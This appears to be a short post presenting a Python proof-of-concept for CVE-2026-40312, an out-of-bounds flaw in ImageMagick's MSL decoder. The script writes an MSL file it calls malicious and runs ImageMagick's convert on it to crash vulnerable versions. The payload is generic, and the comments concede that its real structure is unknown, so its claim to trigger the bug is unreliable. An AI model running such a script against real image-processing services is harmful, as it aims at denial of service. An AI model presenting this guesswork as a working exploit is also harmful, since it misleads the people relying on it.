CVE-2026-40312 ImageMagick MSL解码器越界漏洞

# PoC for CVE-2026-40312 (Conceptual) # This script demonstrates how to trigger the crash using a malformed MSL file. import os # Malicious MSL content designed to trigger the off-by-one error # The exact payload structure depends on the specific parser logic, # but generally involves malformed XML tags within the MSL schema. msl_payload = """<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="test.png" /> <!-- Off-by-one trigger often involves boundary conditions in attributes --> <resize geometry="10000x10000" /> <write filename="output.png" /> </image> """ filename = "exploit.msl" # Create the malicious file with open(filename, "w") as f: f.write(msl_payload) print(f"[+] Created malicious MSL file: {filename}") # Attempt to process the file with ImageMagick # This command should trigger the crash in vulnerable versions print("[*] Triggering the vulnerability via ImageMagick convert...") os.system(f"convert {filename} output.png")